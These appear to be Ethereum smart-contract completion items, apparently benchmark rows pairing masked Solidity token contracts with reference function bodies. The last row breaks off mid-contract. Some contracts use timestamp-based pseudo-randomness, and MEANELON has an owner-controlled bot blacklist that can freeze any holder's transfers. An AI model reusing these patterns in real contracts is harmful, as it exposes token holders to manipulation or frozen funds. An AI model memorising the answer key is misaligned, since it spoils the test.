address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } // ********* And now for the good stuff! ********************** // Contract accepts ether during the presale period, minting the corresponding amount // of tokens for the sender. // The first caller after the presale period ends (or if the hard cap has been hit) // will have their ether returned and will receive a small token reward in exchange // for creating the uniswap pair for this token. // Subsequent calls will fail. receive() external payable { if (msg.sender == address(kUniswapRouter)) { // Failsafe. Just in case we screwed something up in listToken() and don't manage to // supply our full balance, let the router return the excess funds (otherwise pool creation // fails and we're all screwed!) Since any funds left in this contract will be unrecoverable, // we send to the developer who will fix the mistake and deposit in the uniswap pool. // Don't worry though, we didn't screw up the math! payable(developer).transfer(msg.value); return; } uint presaleEndTime = presaleStartTime + kPresalePeriod; if (block.timestamp < presaleEndTime && address(this).balance - msg.value < kPresaleHardCap) { uint tokens = msg.value.mul(kPresaleTokensPerEth); require(_balances[msg.sender].add(tokens) <= kMaxPresaleTokensPerAccount, "Exceeded the presale limit"); _mint(msg.sender, tokens); return; } require(uniswapPair == address(0), "Presale has ended"); msg.sender.transfer(msg.value); listToken(); payReward(); } <FILL_FUNCTION> // Create uniswap pair for this token, add liquidity, and mint the developer's token cut. function listToken() internal { require(uniswapPair == address(0), "Token already listed."); _approve(address(this), address(kUniswapRouter), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint tokens = kPresaleTokensPerEth.mul(address(this).balance); _mint(developer, tokens.mul(kDeveloperTokenCut).div(100)); uniswapPair = kUniswapFactory.getPair(address(this), kWeth); if (uniswapPair == address(0)) { _mint(address(this), tokens); kUniswapRouter.addLiquidityETH{value:address(this).balance}(address(this), tokens, 0, 0, address(this), block.timestamp); uniswapPair = kUniswapFactory.getPair(address(this), kWeth); } else { // Sigh, someone has already pointlessly created the pair. Now we have to do some math :( (uint reserveA, uint reserveB,) = IUniswapV2Pair(uniswapPair).getReserves(); if (address(this) < kWeth) { // Round up tokens to ensure that all of the eth will be taken by the router. tokens = reserveA.mul(address(this).balance).add(reserveB).sub(1).div(reserveB); } else { // Round up tokens to ensure that all of the eth will be taken by the router. tokens = reserveB.mul(address(this).balance).add(reserveA).sub(1).div(reserveA); } _mint(address(this), tokens); kUniswapRouter.addLiquidityETH{value:address(this).balance}(address(this), tokens, 0, 0, address(this), block.timestamp); // Adjust price to match presale. adjustPrice(); // Might have a very small amount of tokens left in our contract. Tidy up. uint leftoverTokens = balanceOf(address(this)); if (leftoverTokens > 0) { _burn(address(this), leftoverTokens); } } // Don't think these can fail, but just in case ... require(uniswapPair != address(0)); // Set lastRepriceTime to nearest day since presaleStartTime to avoid reprices // occurring at some horrible time in the middle of the night. lastRepriceTime = presaleStartTime + ((uint32(block.timestamp) - presaleStartTime + 43200) / 86400) * 86400; } // Adjust token balance of uniswapPair so that token price = 1.2^epoch * presale token price. function adjustPrice() internal { require(uniswapPair != address(0), "Token hasn't been listed."); (uint reserveTokens, uint reserveEth,) = IUniswapV2Pair(uniswapPair).getReserves(); if (address(this) > kWeth) { uint temp = reserveTokens; reserveTokens = reserveEth; reserveEth = temp; } uint tokens = reserveEth.mul(kPresaleTokensPerEth); for (uint e = 0; e < epoch; e++) { tokens = tokens.mul(100).div(100+kTokenPriceBump); } if (tokens > reserveTokens) { _mint(uniswapPair, tokens.sub(reserveTokens)); IUniswapV2Pair(uniswapPair).sync(); } else if (tokens < reserveTokens) { _burn(uniswapPair, reserveTokens.sub(tokens)); IUniswapV2Pair(uniswapPair).sync(); } } // Mint tokens for msg.sender with value equal to kRewardWei. function payReward() internal { uint currentTokensPerEth = kPresaleTokensPerEth; for (uint e = 0; e < epoch; e++) { currentTokensPerEth = currentTokensPerEth.mul(100).div(100+kTokenPriceBump); } _mint(msg.sender, kRewardWei.mul(currentTokensPerEth)); } // Just in case people do something stupid like send WETH instead of ETH to presale, // allow for recovery by devs. function transferERC(address token, address recipient, uint amount) public { require(msg.sender == developer, "Nice try non-dev"); require(token != uniswapPair && token != address(this), "Nice try dev, no rug pulls allowed"); IERC20(token).transfer(recipient, amount); } }
require(uniswapPair != address(0), "Token hasn't been listed yet"); require(block.timestamp >= lastRepriceTime + kRepriceInterval - kRepriceWindow / 2, "Too soon since last reprice"); if (block.timestamp < lastRepriceTime + kRepriceInterval + kRepriceWindow / 2) { uint hash = uint(keccak256(abi.encodePacked(msg.sender, block.timestamp))).mod(kRepriceWindow); uint mods = block.timestamp.sub(lastRepriceTime + kRepriceInterval - kRepriceWindow / 2); require(hash < mods, "The gods frown upon you"); } epoch++; lastRepriceTime = uint32(block.timestamp); adjustPrice(); payReward();
function maybeReprice() public
// To make everyone's lives just a little more interesting, reprices will be separated // by roughly one day, but the exact timing is subject to the vicissitudes of fate. // If the token has not yet been listed, or if the last reprice took place less than // 23.5 hours ago, this function will fail. // If the last reprice was between 23.5 and 24.5 hours ago, this function will succeed // probabilistically, with the chance increasing from 0 to 1 linearly over the range. // If the last reprice was more than 24.5 hours ago, this function will succeed. // Upon success, the token is repriced and the caller is issued a small token reward. function maybeReprice() public
78,005
ETJToken
transfer
contract ETJToken is ERC20,Ownable{ using SafeMath for uint256; string public constant name="ETJ jeweller"; string public symbol="ETJ"; string public constant version = "1.0"; uint256 public constant decimals = 18; uint256 public totalSupply; uint256 public constant MAX_SUPPLY=uint256(560000000)*uint256(10)**decimals; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; event GetETH(address indexed _from, uint256 _value); //owner一次性获取代币 function ETJToken(){ totalSupply=MAX_SUPPLY; balances[msg.sender] = MAX_SUPPLY; Transfer(0x0, msg.sender, MAX_SUPPLY); } //允许用户往合约账户打币 function () payable external { GetETH(msg.sender,msg.value); } function etherProceeds() external onlyOwner { if(!msg.sender.send(this.balance)) revert(); } function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0)); require(_to != address(0)); require(_to != address(this)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require(_value > 0); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract ETJToken is ERC20,Ownable{ using SafeMath for uint256; string public constant name="ETJ jeweller"; string public symbol="ETJ"; string public constant version = "1.0"; uint256 public constant decimals = 18; uint256 public totalSupply; uint256 public constant MAX_SUPPLY=uint256(560000000)*uint256(10)**decimals; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; event GetETH(address indexed _from, uint256 _value); //owner一次性获取代币 function ETJToken(){ totalSupply=MAX_SUPPLY; balances[msg.sender] = MAX_SUPPLY; Transfer(0x0, msg.sender, MAX_SUPPLY); } //允许用户往合约账户打币 function () payable external { GetETH(msg.sender,msg.value); } function etherProceeds() external onlyOwner { if(!msg.sender.send(this.balance)) revert(); } <FILL_FUNCTION> function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0)); require(_to != address(0)); require(_to != address(this)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require(_value > 0); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
require(_to != address(0)); require(_to != address(this)); require(msg.sender != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
function transfer(address _to, uint256 _value) public returns (bool)
28,743
LabtorumToken
getTokens
contract LabtorumToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "LabtorumToken"; string public constant symbol = "LTR"; uint public constant decimals = 8; uint public deadline = now + 65 * 1 days; uint256 public totalSupply = 3000000000e8; uint256 public totalDistributed = 1000000000e8; uint256 public constant MIN_CONTRIBUTION = 1 ether / 1000; // 0.001 Ether uint256 public tokensPerEth = 300000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function LabtorumToken() public { owner = msg.sender; distr(owner, totalDistributed); } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { doAirdrop(_participant, _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public {<FILL_FUNCTION_BODY> } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
contract LabtorumToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "LabtorumToken"; string public constant symbol = "LTR"; uint public constant decimals = 8; uint public deadline = now + 65 * 1 days; uint256 public totalSupply = 3000000000e8; uint256 public totalDistributed = 1000000000e8; uint256 public constant MIN_CONTRIBUTION = 1 ether / 1000; // 0.001 Ether uint256 public tokensPerEth = 300000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function LabtorumToken() public { owner = msg.sender; distr(owner, totalDistributed); } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { doAirdrop(_participant, _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } <FILL_FUNCTION> function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (now >= deadline) { distributionFinished = true; } if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; }
function getTokens() payable canDistr public
function getTokens() payable canDistr public
38,098
Mew
change
contract Mew { address owner = msg.sender; function change(address a) public {<FILL_FUNCTION_BODY> } function close() public { if(owner==msg.sender) selfdestruct(msg.sender); } }
contract Mew { address owner = msg.sender; <FILL_FUNCTION> function close() public { if(owner==msg.sender) selfdestruct(msg.sender); } }
if(owner==msg.sender) owner=a;
function change(address a) public
function change(address a) public
44,819
MEANELON
setMaxTxn
contract MEANELON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Mean Elon"; string private constant _symbol = "MEANELON"; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; uint256 private _maxTxnAmount = 2; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; bool private _txnLimit = false; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initNewPair(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function startTrading() external onlyOwner() { require(_initialized); _tradingOpen = true; _launchTime = block.timestamp; _txnLimit = true; } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function enableTxnLimit(bool onoff) external onlyOwner() { _txnLimit = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee < 12); _teamFee = fee; } function setMaxTxn(uint256 max) external onlyOwner(){<FILL_FUNCTION_BODY> } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
contract MEANELON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Mean Elon"; string private constant _symbol = "MEANELON"; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; uint256 private _maxTxnAmount = 2; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; bool private _txnLimit = false; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 